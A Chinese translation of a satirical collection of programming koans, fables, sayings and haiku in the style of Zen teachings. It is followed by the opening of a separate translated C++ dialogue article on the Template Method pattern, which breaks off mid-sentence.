动物：龙 凤凰 牛 兔 蛇

系统：VMS CP-6 OS/VS MS-DOS Unix

这套分类系统包罗万象，要想在该书的篇幅内把它阐释清楚是不大可能的。然而，

在沉思于这些千变万化的对应关系之后，您或许会发现其中那令人惊异的洞察力。

序

毫无疑问，古老的编程艺术在西文人的脑海里通常会被误解，现代的观点则认为这

是一种工程学、机械论和唯物论。

许多人认为，编程仅是为了达到一个目的而使用的一种手段，而且，一个程序（及

程序员）只能依据其赚钱的能力来评价。

这些原始的错觉，来自于对编程的真正意图的一种很深的误解。

高超的程序员并非致力于表面的成功，而是在人机之间寻找一种神秘的存在。

根据禅的解释，在硬件、软件、固件、界面和理解之间没有分界－－相反，所有这

些都结合进了一个和谐的整体。

只有当程序员最终学会了将那种“自我自我的存在”的虚假感觉抛在一边，此种境

界才可能达到，而那种“自我的存在”的感觉往往伴随在我们大多数人的生活之中

。

这是计算机所带来的－－禅师程序员的行为方式。

有人说，掌握了禅机的程序员也就掌握了生命。这样的程序员是以一种永不疲倦的

童稚的欢乐来看待这个世界的。

觉悟了的程序员，走在大街上也能感觉到两旁房子和大楼里面的电脑。

觉悟了的程序员，能够感觉和听到调制过的数据穿过电脑线时那种电流脉冲的持续

不断的嗡嗡声。

觉悟了的程序员已经与宇宙合为一体。

我以前的学生Geoffrey能够完成这样一个工作，将失落的编程之禅的经典著作再现

于世，作为一名教师，我感到由衷的满足。

真心希望，这本书能够重新确立禅在完善的程序员教育中的重要地位。

C.P.Yu博士

莲花大学超越机器学院

西藏拉萨

引言

当James先生要求我给他的这本书写一篇引言的时侯，除了讲述一下关于我自己在

程序维护这个神秘的领域中的个人经历，我实在想不到更好的办法了。程序的维护

是程序设计艺术中很少被人理解的领域。

有的读者肯定会坚持说，在禅的深奥教义和程序维护的卑微技艺之间，并没有什么

共同点。但正如一位大师所言：“方法和途径（也就是道）存在于所有的程序之中

，甚至在电子游戏里。”因此，长期被的程序维护艺术必定有其禅的方面，这点是

确凿无疑的，虽然那对于未经训练的头脑来说或许不会立刻显现出来。

我的故事开始于我从大学计算机科学专业毕业后的几个星期。我大学毕业后的目标

是为一家研究和开发机构工作，最好是编译程序或操作系统设计的部门。我最后终

于找到一家愿意盲雇佣我的机构，但条件是我必须在一段时间内，通过完成程序维

护的工作来“学会这套系统”。

我当然会对这个建议产生抵触心理。我花了五年的大学时间，竟然是为了浪费时间

来解决其他一些程序员的错误！然而，因为他们曾经答应日后让我干感兴趣的工作

，于是我便接受了，并在心中提醒自己，即使这份工作干不出名堂，我还能找到其

他的工作。

当我第二个礼拜去报到的时侯，我被领着去与那个程序维护组的师父见面。人事部

总管带着我快步地穿过开发中心黑暗的走廊，最后她指着长长的大厅通道尽头处的

一扇门说：“他在那里面。”说完志身走了，好像有些心神不定。

我向门口走去，眼睛朝里面窥探，我看见一个男人正坐在终端前工作，但他背对着

我，所以我不知道他有多大年纪，长得什么样。我只有靠咳嗽一声来表明我的存在

，这里，那位大师甚至没有回头瞅一眼便说：“请坐”。

越过他的肩膀，我瞟见了那些难以理解的屏幕显示，随着他纤长的手指在键盘上飞

舞，它们一闪一闪地出现在他的终端上。最后，他满意地咕哝了一声，退出系统，

然后转过身来面对着我。

我所看见的让我吃了一惊，因为他看上去不像那种应该是禅师的人，他的脸乏味，

几乎是丑陋的，他的头发如同一圈烦恼的光环。但人们首先注意的是他的眼睛，透

过厚厚的眼镜片射出淡淡的蓝光。

他从头到脚地打量了我一番，然后点点头，就好像确认一个个人观点，“你就是那

个新来的？”他酸酸地问。

“是的。”我回答。我假装充满激情，把我的经历和在大学的成绩向他作了快速的

汇报。

这位礼貌的听着，然后说：“那很好，但你以前做过程序的维护工作吗？”

我坦白地告诉他我没有做过。

师父长长地叹了口气，“那好，我们应该做我们做做的事。”他说。然后他从一个

架子上取下一本庞大的程序清单，随意地翻开它，并递给我。接着他问：“你怎样

对付这个？”

我眼睛盯着这本清单，那上面是汇编语言，还搀和着一些奇怪的宏语言。每隔十几

行语句，控制权便转移到某个神秘的子程序，而且，即使这个程序具有任何结构性

，我也看不出来。“这是什么程序、”我问。

师父把那本清单从我的膝盖上拿了过去，“这是《世代大师编码藏经》，”他说，

“当你学会了从迷魂阵中把错误的代码抓出来时，那就是你出师的时侯了。”然后

，他合上清单，把它放回到书架上。

我不久便意识到，程序的维护远比我想象的要难得多。我起初试图学会那本《编码

藏经》中所用的汇编语言，但令我烦恼的是，我发现那套汇编语言从未按规矩提供

过说明文档，现存的仅有一些笔记，是一位多年前就死去或离开公司的硬件开发者

写的。

这本《编码藏经》不能给我什么帮助了。虽然其中偶尔有一些注释，但这些注释和

这种汇编语言一样模糊，除了一些涉及到有关原始硬件构造的使人干着急的资料以

外，别无它物。

当我向那位师父抱怨这一切的时侯，他礼貌地听着，并在我们两人沉默了许久之后

，回答我说：

“你正在试图理解某种不可能被你的理性思维所理解的东西，”他说，“这样所导

致的结果必然是失败。你必须先清空你的大脑，只有那时，你才能开始领悟《编码

藏经》。”

接着，师父开始慢慢地向我阐释那本《编码藏经》里复杂的逻辑。当我聆听他那温

和的声音时，我终于开始觉察到一点光芒的闪烁，这是隐藏在《编码藏经》中辉煌

的和永恒的灵光。“那些大师对‘良好的程序设计惯例与规则’一无所知，”师父

说，他们努力去理解普遍意义上的计算机思维的内部活动，他们还需要什么说明文

档呢？那些程序是极限的表达。

然而，即使我慢慢开始有所领会，我还是感觉到自己像一只在琥珀在挣扎的小飞虫

。师父所讲的与我曾学过的东西截然不同，我的理性思维很难接受。但师父总是耐

心地一遍遍解释说，我必须不靠理性思维去推理，而要用潜意识来领悟《编码藏经

》的内涵。

经过数月的指点后，我感到很自信了，便想试试我的第一块修补程序。为了给师父

一个惊喜，我偷偷地工作。我写了一段能重新运行几行语句的补丁，把程序重新进

行汇编，并把新程序释放到生产系统中去。

第二天早上，我来晚了一会儿。让我感到奇怪的是，开发中心的主任和从事部总管

正在师父的办公室里。当我走进大厅后，从事部总管看见了我就把门关上了。我听

见了很大的说话声，但听不清说什么。

等到那两位来访者离开后，我走进师父的办公室，“什么事？”我问。

“你的修补程序，昨天晚上六点整进入了生产系统。它现在已经被删除了。”

“那么？”

“你仍然可以继续工作。”师父说。

最后，我终于明白，所有用我的理性思维去理解《编码藏经》的努力都是徒劳的，

这使我很绝望。师父觉察到了我思想上的这个变化，他开始向我传授开机。他教给

我冥想和查错的技巧，他说这些技巧是从计算机时代之初，由技术支持部一代一代

地传下来的。

我听着听着，开始意识到一个关于我以前的编程体验的特大事实。在大学里，我一

起认为程序员的工作主要是控制硬件和软件的活动，编程的最高艺术境界是，为了

完成一项任务或达到一个目标而成功地运用高超的编程技巧。但程序维护是不同于

程序开发的。要想维护一个程序，就要把程序看作是一棵渐渐成长的植物，拔苗助

长是毫无益处的。事实上，这样的行为更容易导致植物的死亡。一个程序必须被小

心地滋养。程序员在对程序进行改动之前，必须对每一个逻辑关系非常熟悉，必须

对程序的意图有很深刻的理解力。这种理解力不是在一夜之间就可以得来的，需要

长时间的积累。

好几个月以后，我终于能够给《编码藏经》成功地设计修补程序了，但设计之前要

经过长时间的冥想，还要把那本程序清单打开着支在我的桌子上。我还发现，如果

我工作的时侯点燃一支香，口中不停在重复师父教给我的口诀：“

Null-So-Stix-Etx-Eot”（ASCII码表中头五个字节NUL、SOH、STX、ETX、EOT的发

音－－译注），我更容易集中注意力。师父说，那个口诀意味着宇宙的“五原”。

不久我发现我不再关心是否能为工作成绩而得到奖励了，在我自身和我所维护的程

序之间也看不见任何分离了。我像一个一生都活在阴影里的人一样，开始理解编程

之禅，这是一种隐于程序员设计背后的难以言喻和难以形容的力量，就像投射影子

的太阳一样。

从那毫无意义的“自我的存在”中摆脱出来后，我开始发觉，那些伟大的编程语句

过去对我来说似乎模糊不清，只是因为我还没有彻悟，无法理解它们。我现在知道

了为什么过去的那些程序员从不为他们的程序提供文档，因为英语语言的描述本身

更让人迷惑，而非使人受到启发。

一天，我发现自己正在解决的一个问题涉及到《编码藏经》中最复杂的部分－－错

误分析全程。我在对此一无所知的情况下，给出了一个修补程序，它能通过对硬件

中断区的内容进行检查来测定错误的情况，使程序能继续正确执行。

那天下午，师父第一次走进了我的工作间，他把手放在我的肩膀上，眼睛朝下看着

我，“现在该是你出师的时侯了。”他说。

这些就是我第一次接触禅式程序设计的经历。虽然从那以后我被指派参加过很多项

目设计，但我从未忘记过我的第一位师父给我的教诲。

想象一下我的惊奇－－当我在《编程之禅》中发现了如此之多的我师父非常喜爱的

语言时。我终于看到了那些隐于他那难忘的演说背后的古代传统。

James先生将那本经典的影响深远的著作重新发掘出来，我们大家都欠他一份人情

。要不是他的持之以恒，它可能会永远失传。在本书中，James先生收集了一大堆

定期，如异端的说教、民间故事和诗歌等，它们组成了具有传奇色彩的“集成教”

的教义。正是通过James先生这样的学者的努力，才使得深藏禅机的程序设计的光

芒永世不灭地照耀着后代的人们。

Charlie(Chuck)Babbage

--------------------------------------------------------------------------------

第一篇 木

大师:忍者

媒体:编年史

硬件:键盘

方向:东

软件:编辑程序

感觉:触觉

阶段:界面

动物:龙

系统:VMS

木

作为MRVMS/IIIX禅学院的复兴者，编程大师忍者(这是后人给他起的绰号，他的真

实姓名无法核实--译注 )非常有名。有一些传说，说他从一名不起眼的程序员一跃

成为某家实力雄厚的程序设计机构的开发部主管。他在完成了一套先进的操作系统

后，便悄然消失了。据他说，这套系统既不需要硬件也不需要软件，同样能准确地

发挥功能。他现在的去处无人知晓，但听说，他时常以一位管理顾问的装束出现。

一

忍者最初来到那家开发中心工作的时侯，他被分配去支持操作系统。一天，一位经

理走进了忍者的工作间。

"你为什么不工作?"经理问。

"系统瘫痪了。"忍者说。

"经理皱起了眉头。"我们付给你薪水，是要你保持系统的正常运行!"他大声说。

"系统没有瘫痪。"忍者说。

二

忍者大师如是说:

"如果你的应用程序不能正确地运行，不要去责怪操作系统。"

三

忍者大师参加一次电脑展示会。

许多公司都押运出了明亮的显示器和他们所能搜罗到的所有最新、最大的硬件，以

及身着泳装的金发模特儿。

忍者甚至一眼也未瞥那些展摊。相反，他只是打开一张折叠椅，静静地坐在角落里

。不时地有人从他身边经过，并问他一两个问题。他思考片刻，然后用简短的话作

出回答。

人们盘着腿围坐在这位大师身旁－－那些收集来的宣传册散落在一边－－静静地等

着他开口说话。

四

忍者大师如是说：

“对于聪明的人，只要一个字；对于快马，只要轻轻一鞭；对于写得好的程序，只

要单独的一个命令。”

五

忍者大师参加一次董事会。当他开始解释有关那套软件的技术特性时，那些公司行

政官们，有的在座位上烦躁不安，有的盯着窗外，有的望着咖啡杯发呆。

于是，这位大师开始谈那套软件将会赚多少钱了，这时那些行政官们便纷纷竖起了

耳朵，并开始在房间里欢蹦着，显然，他们被这悦耳的声音吸引住了。

六

一位公司行政官来看忍者，他发现这位大师正在玩电脑游戏。“这是什么意思？”

行政官询问道。

“我正在测试系统。”大师说。

行政官凑近屏幕定眼一看，果然如此。

七

一天，董事会成员集中在一起讨论业务善，他们召来忍者大师，让他作个报告。“

你的季度预测是怎样的？”他们问。

“没有季度预测。”忍者回答道。

“那么你今年的预算计划呢？”他们问。

“没有今年的预算计划。”忍者回答说。

然后他们问：“你能确认你是忍者大师吗？”

“没有忍者大师。”忍者大师回答着。

董事们被搞得糊涂了，只好暂停会议各自回家去了。

八

忍者大师如是说：

“设计一个千百万程序的操作系统很容易，要改变一个人的本性却困难得多。”

九

三名来自不同的电脑公司的行政官前去向忍者学习领导艺术的真谛。

忍者问第一位行政官，“你有你们公司现在的机构设置图吗？”

第一位行政官从口袋中掏出了一张纸，“我一直带着一张在身边。”他说着便把那

张纸递给了忍者。

忍者饶有兴趣地看着那张纸，“这看上去似乎已经在计算机上建立了模板。”他评

论说。

“的确如此，”这位行政官骄傲地说，“我们已经把我们的机构设置图都计算机化

了，以便一接到通知就能立刻选择调用。”

忍者笑着，把那张纸递了回去，“我帮不了你什么。”他说。

第二位行政官接着问忍者领导艺术的真谛。

“你有你们公司现在的机构设置图吗？”忍者问。

第二位行政官摇摇着，“我们的机构设置在这几年都未变过，我几年前就记住了。

”

忍者皱起了眉头，“我帮不了你什么。”了说。

第三位行政官还是问忍者领导艺术的真谛。

“你有你们公司现在的机构设置图吗？”忍者问。

第三位行政官耸了耸肩，“我们没有机构设置图，”他说，“每个人喜欢做什么就

做什么，喜欢什么时侯做就什么时侯做。”

忍者紧皱眉头，“我帮不了你什么。”他说。

三位行政官凑到一边耳语了一阵，转过身来对忍者说：“那么好吧，让我们看看你

的机构设置图。”

忍者领着他们来到一片开阔地上，那里孤零零地长着一棵树。“这就是我的机构设

置图。”忍者边说边把手搭在那表皮粗糙地树干上。

第二篇 火

大师：行者

媒体：民间故事

硬件：显示器

方向：南

软件：格式化程序

感觉：视觉

阶段：设计

动物：凤凰

系统：CP－6

火

编程大师行者收集了各种各样有关开发刺目的民间故事。最近的计算机考古研究显

示，下面的这些民间故事是以历史事实为基础的。虽然一部分夸张的成分可能会无

意中被添加进去，但其历史真相的核心内容依然存在。

一

当一位项目经理为他的软件项目配备人员时，他会在一天内雇佣三百名程序员。一

位获得计算机科学博士学位的学者前来求职，他被给予了一个薪水很高的职位。

一天，那位项目经理被解职了。“我认为，每个人都应清楚自己的职责和履行自己

的职责。”新来的项目经理在检阅他的程序员队伍时如此说道。听到这话，那位学

者悄悄地溜走了。

二

两位程序员正在急诊有关用户界面的问题。

“在‘使用起来简单轻松’方面，许多意义重大的革新正在进行当中，”第一位程

序员说，“不久以后，人们在使用电脑之前将不再需要阅读那些冗长乏味的用户手

册了。程序都将是不言自明的。”

第二位程序员想了一会儿，然后说：“上个星期我准备劈些木柴烧火，但我的斧子

又旧又钝。于是，我去五金店买了把新的。”

“这挺有趣儿，”第一位程序员说，“但这和用户界面有什么关系呢？”

“这把新斧子附带有一本长达八页的使用说明书。”他回答说。

三

一次有一位第三者问一名工程师、一名数学家、一名物理和一名程序员：“一只盒

子有几个面？”

工程师首先回答。“一只盒子有四个面。”他说。

“此话怎讲？”智者问。

“四个垂直的面就是我所说的面，它们被一顶一底连接在一起。”工程师回答。

“太荒唐了，”数学家评论道，“一只盒子有六个面。”

“此话怎讲？”智者问。

“盒子是一个立方体，因此有六个面。”，数学家回答。

“不对，”物理学家说，“一只盒子有十二个面。”

“此话怎讲？”智者问。

“严格说来，有六个外部的面和六个内部的面。”物理学家回答。

智者看着一声未吭的程序员。“你的意见呢？”智者问。

“一只盒子只有两个面。”程序员说。

听了这话，工程师、数学家和物理学家大笑起来。

“此话怎讲－－一只盒子只有两个面？”笑声停住后智者问道。

“这是基于个人经验，”程序员说，“那‘里面’是安置电路板的地方，而‘外面

’是放显示器的地方。”

“正是如此。”智者说。

四

一位新上任的董事正在召开与程序员们的见面会。

在宴会进行当中，一位程序员背诵起了如下的演说－－“我们一直都在期盼着你的

到来，您的前任根本没有您这种高贵的能力。现在你来了，我们会变得真正具有生

产力。”

这位新董事被奉承的喜形于色，“这演说词是你自己写的吗？”他问。

“这是我们开发中心的惯例，”那位程序员说，“无论哪位新董事到任的时侯，我

们都要发表那段演说，这是我所知道的唯一的一段演说词。”

五

一天，开发中心的一位程序员发现了一套可以生成迷宫图案的算法系统。他非常勤

奋地对这套算法进行了修改，这样可以让它在长长的打印纸带上生成一个不间断的

迷宫。

不久，他制做了一个有几百万条分贫的迷宫，四十英尺长，七英尺宽。他把打印纸

带挂在了程序员办公室门口长长的过道上，不一会儿，所有编程人员都挤在了那个

迷宫前，试图解决这个庞大的难题。

开发中心的主任恰巧从旁边经过，他惊愕地盯着这场景，面色阴沉。但当他走进编

程大师的办公室想寻求帮助时，大师早已不在那儿了。

六

五名初学者哭着走进了大师的办公室，“呜，呜！听说我们的项目可能要被取消了

。”

大师说：“所有事情照常继续，直到它们停止。”

听了这话，那些初学者便返回各自的工作中去了。

七

一天，开发中心接到消息，一位新主任将被任命来负责这里，他是位军机大臣，对

电脑知之甚少。

程序员们听到这条消息都非常吃惊，纷纷停止了编程，把许多时间都浪费在揣摩那

即将到来的不幸的日子。

看到这些，一位大师决定必须得做点什么。于是，他借来了一套装扮大猩猩的服装

。

不久，那位大臣就职了，他把所有的经理召集到一间小会议室，随行而来的是几位

总部的公司行政官，据说，他们是来使开发中心“平稳过渡”的。

突然，那位大师穿着装扮大猩猩的服装破门而入。他蹦上会议桌，把文件踢得到处

都是，并对着那些行政官咆哮嗥叫，行政官们坐在那里只剩下目瞪口呆了。然后，

他唰地一下离开了会议室，正如他来时一样。

听到这件事，程序员们便都回到各自的工作岗位上去了。

＜作者按＞

作者曾经和几个人谈过，他们都亲眼目睹过此传说中描绘的事件。作者也曾听说，

一年之后，类似的挑衅行为在IBM的某部门中发生了。这第二起事件与第一起的不

同之处在于，程序员穿了一套运动服，站在门口大声地咳嗽。

八

一组程序员正在向董事长汇报。“今年最大的成果是什么？”董事长问。

那些程序员在一起商量了一会儿，然后回答说：“我们今年解决的bug（程序错误

－－译注）比去年多百分之五十。”

董事长疑惑地看着他们，很显然，他不知道BUG是什么意思。他小声地与身边的大

臣嘀咕一阵后，转过身来对着程序员，气得满脸通红。“如此差劲的质量控制，你

们应该问心有愧。明年不允许有‘BUG’！他命令道。

可以肯定，第二年那些程序员向董事长汇报的时侯，有关BUG只字未提。

九

一位公司行政官来参观开发中心，他在长长地走廊里走着，就像一位检阅部队的将

军一样。他不时地偏上来和他遇到的人谈谈话。最后，他走进了一位程序员的办公

室，这位程序员正在聚精会神地为操作系统查错。

行政官环顾了一下办公室，注意到有尊猪的雕像摆在程序员的终端上。”我常常被

程序员收集的那些古玩和纪念品所深深吸引，”行政官说，“在它们背后似乎有一

些非常有趣的故事。比如说吧，那里的那个雕像是什么意思？”他指着那尊雕像。

程序员从终端前抬起头来，眨眨眼睛，然后盯着那尊雕像，就好像是头一回看到它

似的。“这是头猪呀！”他说。

第三篇　土

大师：隐者

媒体：说教

硬件：CPU

方向：中

软件：调试程序

感觉：嗅觉

阶段：编码

动物：牛

系统：OS/VS

土

以下语录的作者，编程大师隐者，在人们心目中的形象一直很模糊。他被COBOL语

言标准委员会的特务所暗杀，除此之外，人们对他知之甚少。

一

我听说过：

开始时似乎比较容易的事情，结尾时往往是最困难的。这就是为什么程序员说－－

“开发前面的百分之九需要一半时间，而另一半时间则用来完成最后的百分之十。

”

二

我听说过：

在人机界面中犯的最大错误是忽视计算机的权利。被迫与旧概念兼容的系统总是受

到历史的限制。计算机不应该模拟现实－－它们应该超越现实。

三

我听说过：

一家计算机公司设计了一套强大的系统，这套系统超前于它所在的时代。因为担心

这套新设计可能会被复制，他们对硬件的结构设计保密，并为操作系统申请了专利

。

十年以后，一位初学者向编程大师问起那个放在数据中心后面的又脏又旧的木箱子

。

四

我听说过：

不要让政治原因影响技术方面的决定；也不要根据科技论文来做出政治决定。只有

在无知者的头脑中，这些东西才会混到一直。

五

我听说过：

项目计划和公布的时间表，本身毫无意义。那些日期和项目进展的里程碑本质上不

意味着什么。然而有一个秘密的时间表，它被所有工作于一个项目的人所理解。这

个秘密的时间表从未被外界的关注所愚弄，也从未被操纵以迎合市场的方案。这个

秘密的时间表总是被遵守，因为它反映了所有开发部成员之间的相互理解。当项目

反映了这个现实时，程序会如期完成；当项目计划与此现实相矛盾时，程序会被延

误。

六

我听说过：

有三种情况肯定会导致程序设计项目的失败。第一种情况是，主管此项目的经理对

软件一无所知；第二种情况是，对程序代码负责的项目带头人对编写代码毫无兴趣

；第三种情况是，编写代码的程序员是临时雇佣的，对项目缺乏忠诚。这三种情况

中的任何一种都会导致项目的失败；三种情况同时出现，就必死无疑了。

七

我听说过：

许多公司行政官乐于看到把他们摆在高高在上，而让他们的下属居于其下的机构设

置图。这些行政官无异于那些玩“山上的国王”游戏的孩子们。机构设置图有时侯

叫做树状结构，但使用那些结构图的行政官们似乎总是忘记，树叶在底下的树是已

经被连根拔起的树，活不了多久。优秀的行政官总是把自己看作是组织的询问，承

受作为领导的重担，因为这才是他发挥作用的最佳途径。

这就是关于编程大师忍者的著名寓言－－他没法传授领导艺术的真谛，因为那三位

想当他学生的人太相信他们自己的力量了。当一个组织被出色地领导时，雇员甚至

不知道他们正在被领导。当项目完成时，他们会对自己说：“看看我们通过我们自

己的努力所取得的成绩吧！”

八

我听说过：

一个程序的价值不能由它的宣传册的大小，或出现在大众计算机杂志上的整页广告

的数量来判断。这些噪音越响，程序越不可能有用；真正优秀的程序不需要广告，

用户会口口相伟。

九

我听说过：

有一种循环，这是一种宇宙的节奏。今天一个程序流行，明天是另一个；今天修正

了五百个程序中的错误，明天又将出现五百个新的。要理解生命，就要知道这种节

奏的存在。要理解禅，就要活在这种节奏之外，从日常生活的牵挂之中超脱出来。

只有这样，头脑才会自由。

第四篇　金

大师：大力神

媒体：公案

硬件：打印机

方向：西

软件：解释程序

感觉：听觉

阶段：排错

动物：兔

系统：MS－DOS

金

编程大师大力神试图在讲解中使用公案－－禅的一种独特的教学手段。通常说来，

每个公案的含意都很难辨析，并且常常有好肉食的和外在的意思。

一

一个在大学里学习了很长时间的初学者来拜访编程大师。

初学者说：“我已经记住了《计算机编程艺术》的十二卷书中所汇集的算法，我能

用LISP、PROLOG、ALGOL、MODULA2和ADA语言编程。

大师礼貌的点点头。”我很少遇见像你这样博学的人，”他说，“我想听听你关于

我写过的一个程序的意见。”

“我很高兴助您一臂之力。”说着，初学者骄傲地挺起了胸脯。

大师走到他的电脑前插入一张软盘。“首先我得拷贝一下。”他解释说。

他们坐在那儿，听着旋转的驱动器沙沙作响同。突然电脑上显示出一条信息，“磁

盘上没有空间－－Abort，Retry or Ignore?”

大师敲了个“R”进行重试，他们又一次听着驱动器的声音，接着那提示又一次出

现在屏幕上。大师仅仅再次摁了个“R”，重复着同样的事情。

最后初学者再也按捺不住了。“磁盘上没有空间了，”他生气地说，“他太满了！

”

大师说道：“是你的脑袋太满了。”

初学者一下子恍然大悟。

二

大师如是说：“任何一个程序，无论它多么小，总存在着错误。”

初学者不相信大师的话，“如果一个程序小得只执行一个简单的功能，那么会怎样

？”他问。

“这样一个程序将没有意义，”大师说，“但假设这样一个程序存在的话，操作系

统最后将失效。产生一个错误。”

但初学者不满足。“如果操作系统不失效，那么会怎样？”他问。

“没有不失效的操作系统，”大师说，“但假设这样一个操作系统存在的话，硬件

最后将失效，产生一个错误。”

初学者仍不满足。“如果硬件不失效，那么会怎样？”他问。

大师长叹一声。“没有不失效的硬件，”他说，“但假设这样的硬件存在的话，用

户就会想让这个程序做一件不同的事，这件事也是一个错误！”

没有错误的程序是一则谬论，世间难寻。假设存在着一个没有任何错误的程序，那

么这个世界将会不复存在。

三

象牙塔里的魔术师前来拜访编程大师，像往常一样，带来了他最新的发明。

编程大师从他的终端前抬起头来，看见魔术师站在门口，“这次你带来了什么呀？

”大师问。

“这是我最伟大的发明，”魔术师说着，用车推着一个盒子进了屋，“这是终极桌

上印刷系统，有了它，排字机、描图桌和照相机能做的事我全能做。我已经设计好

了，任何熟悉传统印刷术的人能够在几个月内学会。这儿有我制作的样张，看，它

像《古腾保圣经》的首页。”

大师仔细地看了看样张，露出一丝微笑。“这部装置打算用来干什么？”他问。

“我们将用它来印刷技术说明资料。”魔术师说。

＜作者按＞

这位魔术师经常出现在禅的民间故事中，作为对立面。这个人物是否真正存在，不

得而知。然而有传说说，这座象牙塔曾被一伙狂热的信徒控制，这伙人被唆使去干

软件盗版、谋杀以及其它各种各样的不道德的事情，以报复机器时代的Cray-2超级

计算机的统治。

这座象牙塔在第三个朝代末被包围并几乎毁掉，但由于政府的援助而幸免于难，并

得以重建。

四

一位初学者走进大师的工作间，看见一台新电脑摆在大师的桌上。

“那台电脑是什么？”初学者问。

大师把手搭在一个小盒子上，这个小盒子通过一根电缆与那台电脑相连。“看，”

大师说，“这部装置控制着我们在屏幕上看到的东西。”

初学者紧紧地盯着屏幕，但他看到的只是毫无意义的符号。

“这个屏幕模仿的是一张桌子，”大师解释道，“比如说，屏幕的这里是文件柜和

垃圾桶，这里是打字机和计算器。”

“这是一项伟大的发明。”初学者敬畏地低声说道。

“并不像看上去的那样伟大。”大师说，他推着初学者的肩膀往后退了几尺，“你

能看见那两张桌子吗？”大师问道。

初学者点点头。“一张在地板上，另一板在屏幕上。”他说。

“是这样的。那么，是否有一张桌子上少了什么东西？”

初学者沉思片刻。“其中一张桌子上没有电脑。”他说。

大师摇摇着。“任何一张桌子上都没有电脑。”

五

一位初学者问大师：“程序设计的真正含义是什么？”

大师回答说：“饿的时侯就吃；困的时侯就睡；当时机恰当时，就进行程序设计。

”

六

编程大师走进初学者的工作间，听见了一阵骚乱。

“这些该死的电脑！”初学者气愤地叫嚷着，“要想让它们做点事，我得使用三个

甚至四个编辑程序。有时侯我被搞得糊里糊涂，结果删除了整个文件，这简直难以

忍受！”

大师盯着初学者。“那么你打算怎样补救呢？”他问。

初学者想了一会儿。“我将设计一个新的编辑程序，”他说，“一个将取代所有这

些程序的程序。”

突然，大师敲了一下初学者的脑袋。这一击并不重，但初学者却很惊讶。“你这是

什么意思？”初学者惊问道。

“我根本不想学另一个编辑程序。”大师说。

初学者一下子就恍然大悟了。

七

一位初学者问大师，“每当我在一套新的系统上编程时，必须学会一种新的语言。

为什么没有一套标准呢？”

大师转身而去。“唯一真正的标准是死亡。”他说

八

一位初学者问大师：“在ADA编译程序中有没有佛性？”

大师回答说：“你曾注意到在八进制、十六进制和十进制中字符NUL都是000吗？”

初学者一下子就恍然大悟了。

九

名叫狄阿古和古多的两位程序员正在向大公司的董事长汇报。

当古多站起来发言时，他对那位公司行政官说，“你天生聪明，能够理解电脑的真

正含义。”“瞎扯，”狄阿古说，“你为什么表扬这个蠢才？他也许是行政官，但

他对电脑一无所知。”

行政官对他们俩都给予了奖励，然后雇了一名顾问来决定他们俩谁对谁错。

第五篇　水

大师：阿幸

媒体：俳句

硬件：磁盘

方向：北

软件：编译程序

感觉：味觉

阶段：测试

动物：蛇

系统：Unix

水

尼姑阿幸最初是写俳句的。俳句即短诗，用一套预先好的章节来试图表达一种情感

或一种想法。阿幸的俳句则更多地表达了一名程序设计者的那种孤独的生活：为了

调试而工作到深夜，徒劳无获的测试，看着一段程序编译时的那种简单的喜悦，等

待。所有的程序设计者都有过这些体验，但他们很少提及，即使是在他们之间。

本书这最后一部分，显然是一部大作中的片段。作者不才。未能将这些短诗中的深

奥的意蕴完全翻译出来，以达到和原诗类似的效果，还望读者多多包涵。

一

程序不过是梦，

生于无形无象的禅中，

我们只是那做梦的人。

二

我编程三日，

两耳不闻人声，

只有硬盘在歌唱。

三

编译程序在运行，

像一条湍急的河流，

我静静地等侯。

四

为何要用LISP?

COBOL语言我不懂，

所以我用LISP。

五

编程一整夜，

透过窗户，照到屏幕上，

初升的太阳。

六

硬件和软件，

我们是你们的主人和奴隶，

我们的生活是程序。

七

你能听见吗，

上程序的声音?

答案是NUL。

八

电子邮件说，

项目已取消，

清理文档时，我哭了。

九

计算中心空空荡荡，

静静的只有风扇在嗡鸣。

我走过一排排的CPU，

磁通量刺痛了我的皮肤。

我打开一扇门，又冷又硬，

看见指示灯在控制板上跳动。

一台没有灵魂的机器，人们说，

但它的灵魂是同事们的汗水，

在它里面有我们多年的生命，

失望，友谊，悲伤，欢乐，

算法成功时的狂喜，

和无数个徒劳无获的长夜。

我听见了叹息和欢笑的回声，

在这间黑洞洞的办公室里，

终端机闪耀着光芒，就像星星一样。


与大虾对话: 领悟设计模式

原载 www.csdn.net

与大虾对话: 领悟设计模式

--Template Method / Visitor

[译者按] 本文根据发表在CUJ Expert Forum上的两篇文章编译而成。C/C++ User's Journal是目前最出色的C/C++语言专业杂志，特别是在C++ Report闭刊之后，CUJ的地位更加突出。CUJ Expert Forum是CUJ主办的网上技术专栏，汇集2000年10月以来C++社群中顶尖专家的技术短文，并免费公开发布，精彩纷呈，是每一个C/C++学习者不可错过的资料。由Jim Hyslop和Herb Sutter主持的Conversation系列，是CUJ Expert Forum每期必备的精品专栏，以风趣幽默的对话形式讲解C++高级技术，在C++社群内得到广泛赞誉。译者特别挑选两篇设计模式方面的文章，介绍给大家。设计模式方面的经典著作是GoF的Design Patterns。但是那本书有一个缺点，不好懂。从风格上讲，该书与其说是为学习者而写作的教程范本，还不如说是给学术界人士看的学术报告，严谨有余，生动不足。这一点包括该书作者和象Bjarne Stroustrup这样的大师都从不讳言。实际上Design Pattern并非一定是晦涩难懂的，通过生动的例子，一个中等水平的C++学习者完全可以掌握基本用法，在自己的编程实践中使用，得到立竿见影的功效。这两篇文章就是很好的例证。本文翻译在保证技术完整性的前提下作了不少删节和修改，以便使文章显得更紧凑。

----------------------------------------------------------

人物介绍：

我 --- 一个追求上进的C++程序员，尚在试用期，聪明但是经验不足。

Wendy --- 公司里的技术大拿，就坐在我旁边的隔间里，C++大虾，最了不起的是，她是个女的！她什么都好，就是有点刻薄，

我对她真是又崇拜又嫉妒。

----------------------------------------------------------

I. Virtually Yours -- Template Method模式

我在研究Wendy写的一个类。那是她为这个项目写的一个抽象基类，而我的工作就是从中派生出一个具象类(concrete class)。这个类的public部分是这样的：

class Mountie {

public:

void read( std::istream & );

void write( std::ostream & ) const;

virtual ~Mountie();

很正常，virtual destructor表明这个类打算被继承。那么再看看其protected部分：

protected:

virtual void do_read( std::istream & );

virtual void do_write( std::ostream & ) const;

也不过就是一会儿的功夫，我识破了Wendy的把戏：她在使用template method模式。public成员函数read和write是非虚拟的，它们肯定是调用protected部分do_read/do_write虚拟成员函数来完成实际的工作。啊，我简直为自己的进步而飘飘然了！哈，Wendy，这回你可难不住我，还有什么招数？尽管放马过来... 突然，笑容在我脸上凝固，因为我看到了其private部分：

private:

virtual std::string classID() const = 0;

这是什么？一个private纯序函数，能工作么？我站了起来，

